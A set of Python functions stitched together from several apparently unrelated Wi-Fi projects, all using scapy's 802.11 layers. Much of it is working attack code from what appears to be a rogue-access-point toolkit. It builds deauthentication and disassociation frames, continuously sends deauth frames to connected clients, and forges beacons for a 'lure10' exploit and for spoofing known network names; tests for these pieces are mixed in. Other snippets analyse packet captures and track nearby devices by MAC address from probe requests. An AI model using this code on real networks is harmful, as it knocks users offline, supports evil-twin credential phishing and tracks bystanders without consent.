def _craft_and_add_packet(self, sender, receiver): """ Craft a deauthentication and a disassociation packet and add them to the list of deauthentication packets :param self: A Deauthentication object :param sender: The MAC address of the sender :param receiver: The MAC address of the receiver :type self: Deauthentication :type sender: string :type receiver: string :return: None :rtype: None """ deauth_packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, \ addr1=receiver, addr2=sender, addr3=self._ap_bssid) \ / dot11.Dot11Deauth()) disassoc_packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=10, \ addr1=receiver, addr2=sender, addr3=self._ap_bssid) \ / dot11.Dot11Disas()) self._deauthentication_packets.append(disassoc_packet) self._deauthentication_packets.append(deauth_packet)
def _craft_packet(sender, receiver, bssid): """ Return a list with disassociation packet followed by a deauthentication packet :param sender: The MAC address of the sender :param receiver: The MAC address of the receiver :param bssid: The MAC address of the AccessPoint :type sender: str :type receiver: str :type bssid: str :return: list :rtype: A list with disassociation followed by deauthentication packet """ # craft disassociation packet disassoc_part = dot11.Dot11( type=0, subtype=10, addr1=receiver, addr2=sender, addr3=bssid) disassoc_packet = ( dot11.RadioTap() / disassoc_part / dot11.Dot11Disas()) # craft deauthentication packet deauth_part = dot11.Dot11( type=0, subtype=12, addr1=receiver, addr2=sender, addr3=bssid) deauth_packet = (dot11.RadioTap() / deauth_part / dot11.Dot11Deauth()) return [disassoc_packet, deauth_packet]
def _craft_packet(sender, receiver, bssid): """ Craft a deauthentication and a disassociation packet and add them to the list of deauthentication packets :param self: A Deauthentication object :param sender: The MAC address of the sender :param receiver: The MAC address of the receiver :param bssid: The MAC address of the AccessPoint :type self: Deauthentication :type sender: string :type receiver: string :type bssid: string :return: None :rtype: None """ deauth_packet = (dot11.RadioTap() / dot11.Dot11( type=0, subtype=12, addr1=receiver, addr2=sender, addr3=bssid) / dot11.Dot11Deauth()) disassoc_packet = (dot11.RadioTap() / dot11.Dot11( type=0, subtype=10, addr1=receiver, addr2=sender, addr3=bssid) / dot11.Dot11Disas()) return [disassoc_packet, deauth_packet]
def test_multiple_extensions(self): # We need a NM to init EM nm = interfaces.NetworkManager() # Init an EM and pass some shared data em = extensions.ExtensionManager(nm) em.set_extensions(constants.DEFAULT_EXTENSIONS) shared_data = {"one": 1, "two": 2, "is_freq_hop_allowed": True} em.init_extensions(shared_data) # A deauth packet appears in the air packet = ( dot11.RadioTap() / dot11.Dot11( type=0, subtype=12, addr1="00:00:00:00:00:00", addr2="00:00:00:00:00:00", addr3="00:00:00:00:00:00") / dot11.Dot11Deauth()) em._process_packet(packet) # Packets to send have been merged from the two extensions # Validate with get_packet() assert em._packets_to_send["1"] == [1, 2, 3, 4] # Output has also been merged in one list. # Validate with send_output() assert em.get_output() == ["one", "two", "three", "four", "five"]
def setUp(self): """ Set up the tests """ essid = dot11.Dot11Elt(ID='SSID', info="") rates = dot11.Dot11Elt(ID='Rates', info="\x03\x12\x96\x18\x24\x30\x48\x60") dsset = dot11.Dot11Elt(ID='DSset', info='\x06') self.packet = dot11.RadioTap() / dot11.Dot11() / essid / rates / dsset custom_tuple = collections.namedtuple( "test", ("target_ap_bssid target_ap_channel rogue_ap_mac args " "target_ap_essid is_freq_hop_allowed")) self.target_channel = "6" self.target_bssid = "BB:BB:BB:BB:BB:BB" self.rogue_mac = "CC:CC:CC:CC:CC:CC" self.target_essid = "Evil" self.args = mock.Mock() self.args.deauth_essid = False self.args.channel_monitor = False data0 = custom_tuple(self.target_bssid, self.target_channel, self.rogue_mac, self.args, self.target_essid, True) data1 = custom_tuple(None, self.target_channel, self.rogue_mac, self.args, self.target_essid, True) self.deauth_obj0 = deauth.Deauth(data0) self.deauth_obj1 = deauth.Deauth(data1) # test for --deauth-essid self.deauth_obj0._deauth_bssids = dict() self.deauth_obj1._deauth_bssids = dict()
def send_deauthentication_packets(self): """ Send deauthentication packets using RadioTap header. :param self: A Deauthentication object. :type self: Deauthentication :return: None :rtype: None .. note: Information regarding IEEE 802.11 and for deauthentication which could be useful for maintenance purposes. Type could have values of 0 for managment, 1 for control, 2 for data. There are a lot of subtpyes but subtype 12 is for deauthentication packets. addr1, addr2, addr3 are destination address, sender address, sender transmited address respectivly. """ # continue to deauthenticate until otherwise set while self._should_continue: # added to reduce the stress on system and allow user to connect if self._observed_clients: for client in self._observed_clients: packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, addr1=client, addr2=self._ap_bssid, addr3=self._ap_bssid) / dot11.Dot11Deauth()) scapy.sendrecv.sendp(packet, count=1, verbose=False)
def get_packet(self, pkt): """ We start broadcasting the beacons on the first received packet :param self: A Lure10 object :param packet: A scapy.layers.RadioTap object :type self: Lure10 :type packet: scapy.layers.RadioTap :return: A tuple containing ["*"] followed by a list of the crafted beacon frames :rtype: tuple(list, list) .. warning: pkt is not used here but should not be removed since this prototype is requirement """ beacons = list() bssid = str() # initiliate the _packets_to_send in first run if self.first_run: self._packets_to_send["*"] = beacons # only run this code once if self.first_run and self.data.args.lure10_exploit: # locate the lure10 file area_file = constants.LOCS_DIR + self.data.args.lure10_exploit with open(area_file) as _file: for line in _file: # remove any white space and store the bssid(fist word) line.strip() bssid = line.split(" ", 1)[0] # craft the required packet parts frame_part_0 = dot11.RadioTap() frame_part_1 = dot11.Dot11(subtype=8, addr1=constants.WIFI_BROADCAST, addr2=bssid, addr3=bssid) frame_part_2 = dot11.Dot11Beacon(cap=0x2105) frame_part_3 = dot11.Dot11Elt(ID="SSID", info="") frame_part_4 = dot11.Dot11Elt(ID="Rates", info=constants.AP_RATES) frame_part_5 = dot11.Dot11Elt(ID="DSset", info=chr(7)) # create a complete packet by combining the parts complete_frame = (frame_part_0 / frame_part_1 / frame_part_2 / frame_part_3 / frame_part_4 / frame_part_5) logger.debug("Add lure10-beacon frame with BSSID %s", bssid) # add the frame to the list beacons.append(complete_frame) # make sure this block is never executed again and the notification occurs self.first_run = False self._packets_to_send["*"] = beacons return self._packets_to_send
def test_is_packet_valid_packet_not_beacon(): """ Test is_packet_valid function with an packet that is not Dot11Beacon """ address = "FF:FF:FF:FF:FF:FF" packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=10, addr3=address) / dot11.Dot11Disas()) assert recon.is_packet_valid(packet) == False
def test_is_target_essid_non_decodable_error(self): """ Assign essid to a constant when it is utf-8 non-decodable """ essid = dot11.Dot11Elt(ID='SSID', info='\x99\x87\x33') packet = dot11.RadioTap() / dot11.Dot11() / dot11.Dot11Beacon() / essid packet.addr3 = "99:99:99:99:99:99" result = self.deauth_obj0._is_target(packet) expected = False message = 'Fail to raise the UnicodeDecodeError for non-printable essid' self.assertEqual(result, expected, message)
def test_is_target_target_ap_bssid_true(self): """ Get the target attacking bssid for the speficic ESSID when --essid is not used """ essid = dot11.Dot11Elt(ID='SSID', info="Evil") packet = dot11.RadioTap() / dot11.Dot11() / dot11.Dot11Beacon() / essid packet.addr3 = "99:99:99:99:99:99" self.deauth_obj0._data.args.deauth_essid = "Evil" result = self.deauth_obj0._is_target(packet) expected = True message = "Fail to check the attacking essid: " + self.target_essid self.assertEqual(result, expected, message)
def test_multiple_extensions(self, send_func): # Init an EM and pass some shared data self.em = extensions.ExtensionManager() shared_data = {"one": 1, "two": 2} self.em.init_extensions(shared_data) self.em.start_extensions() # A deauth packet appears in the air packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, \ addr1="00:00:00:00:00:00", addr2="00:00:00:00:00:00", addr3="00:00:00:00:00:00") \ / dot11.Dot11Deauth()) self.em._process_packet(packet) # Packets to send have been merged from the two extensions # Validate with get_packet() assert self.em._packets_to_send == [1, 2, 3, 4] # Output has also been merged in one list. # Validate with send_output() assert self.em.get_output() == ["one", "two", "three", "four", "five"]
def get_packet(self, pkt): """ We start broadcasting the beacons on the first received packet. :param self: A Lure10 object. :param packet: A scapy.layers.RadioTap object. :type self: Lure10 :type packet: scapy.layers.RadioTap :return: list with the crafted beacon frames :rtype: list """ beacons = [] if self.first: if self.data.args.lure10_exploit: area_file = constants.LOCS_DIR + self.data.args.lure10_exploit with open(area_file) as a_file: wlans = [x.strip() for x in a_file.readlines()] for wlan in wlans: bssid, essid = wlan.split(' ', 1) # Frequency for channel 7 frequency = struct.pack("<h", 2407 + 7 * 5) ap_rates = "\x0c\x12\x18\x24\x30\x48\x60\x6c" frame = dot11.RadioTap( len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\x00\x6c' + frequency + '\xc0\x00\xc0\x01\x00\x00') / dot11.Dot11( subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=bssid, addr3=bssid) / dot11.Dot11Beacon( cap=0x2105) / dot11.Dot11Elt( ID='SSID', info="") / dot11.Dot11Elt( ID='Rates', info=ap_rates) / dot11.Dot11Elt( ID='DSset', info=chr(7)) beacons.append(frame) self.beacons_num = len(beacons) self.first = False return (["*"], beacons)
def _get_known_beacons(self): """ Retrieve the popular ESSIDs from the text file and then construct all the known beacon frames. :param self: A Beacons object :type self: Beacons :return: A list with all the beacon frames :rtype: list """ beacons = list() essid = str() bssid = self.data.rogue_ap_mac # locate the known WLANS file area_file = constants.KNOWN_WLANS_FILE with open(area_file) as _file: for line in _file: if line.startswith("!"): continue essid = line.rstrip() # craft the required packet parts frame_part_0 = dot11.RadioTap() frame_part_1 = dot11.Dot11( subtype=8, addr1=constants.WIFI_BROADCAST, addr2=bssid, addr3=bssid) frame_part_2 = dot11.Dot11Beacon(cap=constants.KB_BEACON_CAP) frame_part_3 = dot11.Dot11Elt(ID="SSID", info=essid) frame_part_4 = dot11.Dot11Elt( ID="Rates", info=constants.AP_RATES) frame_part_5 = dot11.Dot11Elt(ID="DSset", info=chr(7)) # create a complete packet by combining the parts complete_frame = ( frame_part_0 / frame_part_1 / frame_part_2 / frame_part_3 / frame_part_4 / frame_part_5) # add the frame to the list beacons.append(complete_frame) return beacons
def test_single_extension(self): # Init an EM and pass some shared data em = extensions.ExtensionManager() em.set_extensions(constants.DEFAULT_EXTENSIONS) shared_data = {"one": 1, "two": 2} em.init_extensions(shared_data) # A deauth packet appears in the air packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, addr1="00:00:00:00:00:00", addr2="00:00:00:00:00:00", addr3="00:00:00:00:00:00") / dot11.Dot11Deauth()) em._process_packet(packet) # The extension1.py sent packet "1" and returned output # "one", "two". Validate with get_packet(), send_output() assert em._packets_to_send["1"] == [1] assert em._packets_to_send["2"] == [] assert em.get_output() == ["one", "two"]
def add_lure10_beacons(self, area_file): with open(area_file) as f: wlans = [x.strip() for x in f.readlines()] for w in wlans: bssid, essid = w.split(' ', 1) # Frequency for channel 7 frequency = struct.pack("<h", 2407 + 7*5) ap_rates = "\x0c\x12\x18\x24\x30\x48\x60\x6c" frame = dot11.RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', \ notdecoded='\x00\x6c' + frequency + \ '\xc0\x00\xc0\x01\x00\x00') \ / dot11.Dot11(subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=bssid, addr3=bssid) \ / dot11.Dot11Beacon(cap=0x2105) \ / dot11.Dot11Elt(ID='SSID', info="") \ / dot11.Dot11Elt(ID='Rates', info=ap_rates) \ / dot11.Dot11Elt(ID='DSset', info=chr(7)) self._deauthentication_packets.append(frame)
def test_single_extension(self, send_func): # Init an EM and pass some shared data self.em = extensions.ExtensionManager() shared_data = {"one": 1, "two": 2} self.em.init_extensions(shared_data) assert not send_func.called self.em.start_extensions() # A deauth packet appears in the air packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, \ addr1="00:00:00:00:00:00", addr2="00:00:00:00:00:00", addr3="00:00:00:00:00:00") \ / dot11.Dot11Deauth()) self.em._process_packet(packet) # After EM starts, the send daemon is triggered and # sends any packets from extensions assert send_func.called == 1 # The extension1.py sent packet "1" and returned output # "one", "two". Validate with get_packet(), send_output() assert self.em._packets_to_send == [1] assert self.em.get_output() == ["one", "two"]
def test_get_packet_broadcast(self): """ Test get_packet method for crafting the broadcast frame """ # setup the packet sender = "00:00:00:00:00:00" receiver = "11:11:11:11:11:11" essid = dot11.Dot11Elt(ID='SSID', info="") rates = dot11.Dot11Elt(ID='Rates', info="\x03\x12\x96\x18\x24\x30\x48\x60") dsset = dot11.Dot11Elt(ID='DSset', info='\x06') packet = dot11.RadioTap() / dot11.Dot11() / dot11.Dot11Beacon( ) / essid / rates / dsset packet.addr1 = receiver packet.addr2 = sender packet.addr3 = self.target_bssid packet.FCfield = 0x0 # run the method pkts_to_send = self.deauth_obj0.get_packet(packet) message0 = "Failed to return an correct channel" message1 = "Failed to return an correct packets" # check channel: target channel should be one key of # the result self.assertEqual(self.target_channel in pkts_to_send, True, message0) # check the packets # check the disassoction packet result = pkts_to_send[self.target_channel] self.assertEqual(result[0].subtype, 10, message1) self.assertEqual(result[0].addr1, constants.WIFI_BROADCAST, message1) self.assertEqual(result[0].addr2, self.target_bssid, message1) self.assertEqual(result[0].addr3, self.target_bssid, message1) # check the deauthentication packet self.assertEqual(result[1].subtype, 12, message1) self.assertEqual(result[1].addr1, constants.WIFI_BROADCAST, message1) self.assertEqual(result[1].addr2, self.target_bssid, message1) self.assertEqual(result[1].addr3, self.target_bssid, message1)
def setUp(self): """ Set up the tests """ essid = dot11.Dot11Elt(ID='SSID', info="") rates = dot11.Dot11Elt(ID='Rates', info="\x03\x12\x96\x18\x24\x30\x48\x60") dsset = dot11.Dot11Elt(ID='DSset', info='\x06') self.packet = dot11.RadioTap() / dot11.Dot11() / essid / rates / dsset custom_tuple = collections.namedtuple( "test", "target_ap_bssid target_ap_channel rogue_ap_mac") self.target_channel = "6" self.target_bssid = "BB:BB:BB:BB:BB:BB" self.rogue_mac = "CC:CC:CC:CC:CC:CC" data0 = custom_tuple(self.target_bssid, self.target_channel, self.rogue_mac) data1 = custom_tuple(None, self.target_channel, self.rogue_mac) self.deauth_obj0 = deauth.Deauth(data0) self.deauth_obj1 = deauth.Deauth(data1)
def run_offline_analysis(capture_file, start_time, end_time, sample_seconds, channel): weird_frame_count = 0 bssid_to_ssid_map = {} bssid_infra_macs = defaultdict(set) bssid_associated_macs = defaultdict(set) bssid_beacon_timing_payloads = defaultdict(list) bssid_beacon_data = {} bssid_to_jitter_map = {} bssid_to_power_map = defaultdict(list) noise_measurements = [] action_counter = 0 probe_req_counter = 0 station_counters = defaultdict(DataCounters.zero) pcap_offline_dev = pcapy.open_offline(capture_file) header, payload = pcap_offline_dev.next() while header: try: # Use Scapy for the RadioTap decoding as dpkt's Radiotap decoder is totally broken. radiotap_frame = dot11.RadioTap(payload) if radiotap_frame.dBm_AntNoise is not None: noise_measurements.append(radiotap_frame.dBm_AntNoise) frame = dpkt.radiotap.Radiotap(payload).data frame_type = frame.type frame_subtype = frame.subtype if frame_type == dpkt.ieee80211.MGMT_TYPE: mac = binary_to_mac(frame.mgmt.src) current_counter = station_counters[mac] current_counter.management_frame_count += 1 if frame_subtype == dpkt.ieee80211.M_BEACON: beacon = dot11.Dot11Beacon(frame.beacon.pack()) bssid = binary_to_mac(frame.mgmt.bssid) try: beacon_data = bssid_beacon_data[ bssid] = patched_network_stats(beacon) target_channel = beacon_data.get("channel") except: procedure_logger.exception( "Failed to decode network stats...") target_channel = None if hasattr(frame, 'ssid'): bssid_to_ssid_map[bssid] = frame.ssid.data bssid_infra_macs[bssid].add(mac) if target_channel is None or target_channel == channel: bssid_beacon_timing_payloads[bssid].append( (beacon.timestamp, beacon.beacon_interval)) if radiotap_frame.dBm_AntSignal is not None: bssid_to_power_map[bssid].append( radiotap_frame.dBm_AntSignal) else: procedure_logger.warning( "Off channel beacon ({0} vs {1}) seen for BSSID {2}" "".format(target_channel, channel, bssid)) if frame_subtype == dpkt.ieee80211.M_PROBE_RESP: if hasattr(frame, 'ssid'): bssid = binary_to_mac(frame.mgmt.bssid) bssid_to_ssid_map[bssid] = frame.ssid.data bssid_infra_macs[bssid].add(mac) if frame_subtype in (dpkt.ieee80211.M_ASSOC_REQ, dpkt.ieee80211.M_ASSOC_RESP): current_counter.association_frame_count += 1 if frame_subtype in (dpkt.ieee80211.M_REASSOC_REQ, dpkt.ieee80211.M_REASSOC_RESP): current_counter.reassociation_frame_count += 1 if frame_subtype == dpkt.ieee80211.M_DISASSOC: current_counter.disassociation_frame_count += 1 if frame_subtype == dpkt.ieee80211.M_ACTION: action_counter += 1 if frame_subtype == dpkt.ieee80211.M_PROBE_REQ: probe_req_counter += 1 if frame.retry: current_counter.retry_frame_count += 1 if radiotap_frame.dBm_AntSignal is not None: current_counter.power_measurements.append( radiotap_frame.dBm_AntSignal) if radiotap_frame.Rate is not None: current_counter.rate_measurements.append( radiotap_frame.Rate) if radiotap_frame.Flags.badFCS is not None: current_counter.failed_fcs_count += ( 1 if radiotap_frame.Flags.badFCS else 0) elif frame_type == dpkt.ieee80211.CTL_TYPE: include_in_extra_measurements = True if frame_subtype == dpkt.ieee80211.C_RTS: mac = binary_to_mac(frame.rts.src) current_counter = station_counters[mac] current_counter.cts_frame_count += 1 elif frame_subtype == dpkt.ieee80211.C_CTS: mac = binary_to_mac(frame.cts.dst) include_in_extra_measurements = False current_counter = station_counters[mac] current_counter.rts_frame_count += 1 elif frame_subtype == dpkt.ieee80211.C_ACK: mac = binary_to_mac(frame.ack.dst) include_in_extra_measurements = False current_counter = station_counters[mac] current_counter.ack_frame_count += 1 elif frame_subtype == dpkt.ieee80211.C_BLOCK_ACK: mac = binary_to_mac(frame.back.src) current_counter = station_counters[mac] elif frame_subtype == dpkt.ieee80211.C_BLOCK_ACK_REQ: mac = binary_to_mac(frame.bar.src) current_counter = station_counters[mac] elif frame_subtype == dpkt.ieee80211.C_CF_END: mac = binary_to_mac(frame.cf_end.src) current_counter = station_counters[mac] else: continue if frame.retry: current_counter.retry_frame_count += 1 if include_in_extra_measurements: current_counter.control_frame_count += 1 if radiotap_frame.dBm_AntSignal is not None: current_counter.power_measurements.append( radiotap_frame.dBm_AntSignal) if radiotap_frame.Rate is not None: current_counter.rate_measurements.append( radiotap_frame.Rate) if radiotap_frame.Flags.badFCS is not None: current_counter.failed_fcs_count += ( 1 if radiotap_frame.Flags.badFCS else 0) elif frame_type == dpkt.ieee80211.DATA_TYPE: src_mac = binary_to_mac(frame.data_frame.src) dst_mac = binary_to_mac(frame.data_frame.dst) if hasattr(frame.data_frame, 'bssid'): bssid = binary_to_mac(frame.data_frame.bssid) else: bssid = None current_counter = station_counters[src_mac] dst_current_counter = station_counters[dst_mac] if frame.to_ds and bssid: bssid_infra_macs[bssid].add(dst_mac) bssid_associated_macs[bssid].add(src_mac) elif frame.from_ds and bssid: bssid_infra_macs[bssid].add(src_mac) bssid_associated_macs[bssid].add(dst_mac) current_counter.data_throughput_out += len( frame.data_frame.data) dst_current_counter.data_throughput_in += len( frame.data_frame.data) current_counter.data_frame_count += 1 if frame.retry: current_counter.retry_frame_count += 1 if radiotap_frame.dBm_AntSignal is not None: current_counter.power_measurements.append( radiotap_frame.dBm_AntSignal) if radiotap_frame.Rate is not None: current_counter.rate_measurements.append( radiotap_frame.Rate) if radiotap_frame.Flags.badFCS is not None: current_counter.failed_fcs_count += ( 1 if radiotap_frame.Flags.badFCS else 0) else: pass except dpkt.dpkt.UnpackError: logging.warning( "dpkt lacks support for some IE80211 features. This could be causing spurious decode problems.", exc_info=True) weird_frame_count += 1 header, payload = pcap_offline_dev.next() pcap_offline_dev.close() measurement = Measurement.new( start_time, end_time, sample_seconds, channel, noise_measurements, data_counters=sum_data_counters(station_counters.values()), extra_data={'weird_frame_count': weird_frame_count}) stations = [Station.new(mac_addr) for mac_addr in station_counters.keys()] service_sets = [ ServiceSet.new(bssid, network_name=bssid_to_ssid_map.get(bssid), extra_data=bssid_beacon_data.get(bssid, {})) for bssid in set(bssid_infra_macs.keys()).union( set(bssid_associated_macs.keys())) ] for service_set in service_sets: jitter, bad_intervals, intervals = calculate_beacon_jitter( bssid_beacon_timing_payloads.get(service_set.bssid), service_set.bssid) if jitter is not None: bssid_to_jitter_map[service_set.bssid] = (jitter, bad_intervals, intervals) procedure_logger.info("-----------------") procedure_logger.info("Analysis performed on channel: {0}".format(channel)) procedure_logger.info("Noise Level: {0} +/- {1} dBm".format( measurement.average_noise, measurement.std_dev_noise)) procedure_logger.info("Top level result:\n{0}".format( repr(measurement.data_counters))) procedure_logger.info("Action Frames: {0}".format(action_counter)) procedure_logger.info( "Probe Request Frames: {0}".format(probe_req_counter)) if service_sets: procedure_logger.info("Service Sets seen:") for service_set in service_sets: jitter, bad_intervals, intervals = bssid_to_jitter_map.get( service_set.bssid, (None, None, None)) procedure_logger.info("-- {0} ({1})".format( service_set.bssid, service_set.network_name)) if bad_intervals: procedure_logger.info("---- Changing intervals detected!!!") procedure_logger.info( "---- Intervals Seen: {0}".format(intervals)) if jitter: procedure_logger.info( "---- Avg +/- StdDev Beacon Jitter: {0} +/- {1} (ms)". format( altered_mean(jitter) / 1000.0, altered_stddev(jitter) / 1000.0)) procedure_logger.info( "---- Min/Max Beacon Jitter: {0}/{1} (ms)".format( min(jitter) / 1000.0, max(jitter) / 1000.0)) procedure_logger.info("---- Jitter Count: {0}".format( len(jitter))) procedure_logger.info("{0} unique stations seen.".format(len(stations))) procedure_logger.info("-----------------") return { 'measurement': measurement, 'stations': stations, 'service_sets': service_sets, 'station_counters': station_counters, 'bssid_associated_macs': bssid_associated_macs, 'bssid_infra_macs': bssid_infra_macs, 'bssid_to_ssid_map': bssid_to_ssid_map, 'bssid_to_jitter_map': bssid_to_jitter_map, 'bssid_to_power_map': bssid_to_power_map }
def get_data(args): ts = {} if args.pcap: if args.verbose: print(f':: Processing pcap file {args.pcap}') if args.only_pr: packets = sniff(offline=args.pcap, verbose=0, filter='wlan type mgt subtype probe-req') else: packets = sniff(offline=args.pcap, verbose=0) for packet in packets: if packet.addr2 in config['ignored']: continue if packet.addr2 in ts: ts[packet.addr2].append(packet.time) else: ts[packet.addr2] = [packet.time] elif args.kismet: if args.verbose: print(f':: Processing kismet file {args.kismet}') # sqlite3 conn = sqlite3.connect(f'file:{args.kismet}?mode=ro', uri=True) c = conn.cursor() sql = 'pragma query_only = on;' c.execute(sql) sql = 'pragma temp_store = 2;' # to store temp table and indices in memory c.execute(sql) sql = 'pragma journal_mode = off;' # disable journal for rollback (we don't use this) c.execute(sql) conn.commit() sql = 'select ts_sec, ts_usec, lower(sourcemac), lower(destmac), packet from packets where phyname="IEEE802.11";' c.execute(sql) for row in c.fetchall(): if args.only_pr: # keep only the probe request packet = dot11.RadioTap(row[4]) if packet.type != 0 or packet.subtype != 4: continue if row[2] in ts: ts[row[2]].append(row[0]) else: ts[row[2]] = [row[0]] # filter out multicast mac addresses. TODO: use the exact range 00:00:00-7f:ff:ff if row[3] in ts and not row[3].startswith('01:00:5e'): ts[row[3]].append(row[0]) else: ts[row[3]] = [row[0]] try: del ts['ff:ff:ff:ff:ff:ff'] del ts['00:00:00:00:00:00'] except KeyError as k: pass # filter to keep only wifi client and device sql = 'select lower(devmac),type from devices' c.execute(sql) for row in c.fetchall(): if row[1] not in ['Wi-Fi Device', 'Wi-Fi Client']: try: del ts[row[0]] except KeyError as k: pass conn.close() else: # sqlite3 conn = sqlite3.connect(f'file:{args.db}?mode=ro', uri=True) c = conn.cursor() sql = 'pragma query_only = on;' c.execute(sql) sql = 'pragma temp_store = 2;' # to store temp table and indices in memory c.execute(sql) sql = 'pragma journal_mode = off;' # disable journal for rollback (we don't use this) c.execute(sql) conn.commit() # keep only the data between 2 timestamps ignoring IGNORED macs with rssi # greater than the min value arg_list = ','.join(['?'] * len(config['ignored'])) sql = '''select date,mac.address,rssi from probemon inner join mac on mac.id=probemon.mac where date <= ? and date >= ? and mac.address not in (%s) and rssi > ? order by date''' % (arg_list, ) try: c.execute(sql, (args.end_time, args.start_time) + tuple(config['ignored']) + (args.rssi, )) except sqlite3.OperationalError as e: time.sleep(2) c.execute(sql, (args.end_time, args.start_time) + tuple(config['ignored']) + (args.rssi, )) for row in c.fetchall(): if row[1] in ts: ts[row[1]].append(row[0]) else: ts[row[1]] = [row[0]] conn.close() def match(m, s): # match on start of mac address and use % as wild-card like in SQL syntax if '%' in m: m = m.replace('%', '.*') else: m = m + '.*' m = '^' + m return re.search(m, s) is not None if None in ts.keys(): del ts[None] macs = list(ts.keys()) if args.mac: # keep mac with args.mac as substring macs = [ m for m in list(ts.keys()) if any( match(am.lower(), m) for am in args.mac) ] # filter our data set based on min probe request or mac appearence for k, v in list(ts.items()): if (len(v) <= args.min and k not in args.knownmac) or k not in macs: del ts[k] # sort the data on frequency of appearence data = sorted(list(ts.items()), key=lambda x: len(x[1])) data.reverse() macs = [x for x, _ in data] times = [x for _, x in data] # merge all LAA mac into one plot for a virtual MAC called 'LAA' if args.privacy: indx = [i for i, m in enumerate(macs) if is_local_bit_set(m)] if len(indx) > 0: t = [] # merge all times for LAA macs for i in indx: t.extend(times[i]) macs = [m for i, m in enumerate(macs) if i not in indx] times = [x for i, x in enumerate(times) if i not in indx] macs.append('LAA') times.append(sorted(t)) # merge all same vendor mac into one plot for a virtual MAC called 'OUI' for mv in config['merged']: indx = [i for i, m in enumerate(macs) if m[:8] == mv] if len(indx) > 0: t = [] # merge all times for vendor macs for i in indx: t.extend(times[i]) macs = [m for i, m in enumerate(macs) if i not in indx] times = [x for i, x in enumerate(times) if i not in indx] macs.append(mv) times.append(sorted(t)) return (macs, times)
def createDeauthPacket(self): """deauth paketi oluşturur""" dt11 = dot11.Dot11(addr1=self.ssid, addr2=self.bssid, addr3=self.bssid) deauthPacket = dot11.RadioTap() / dt11 / dot11.Dot11Deauth(reason=7) return deauthPacket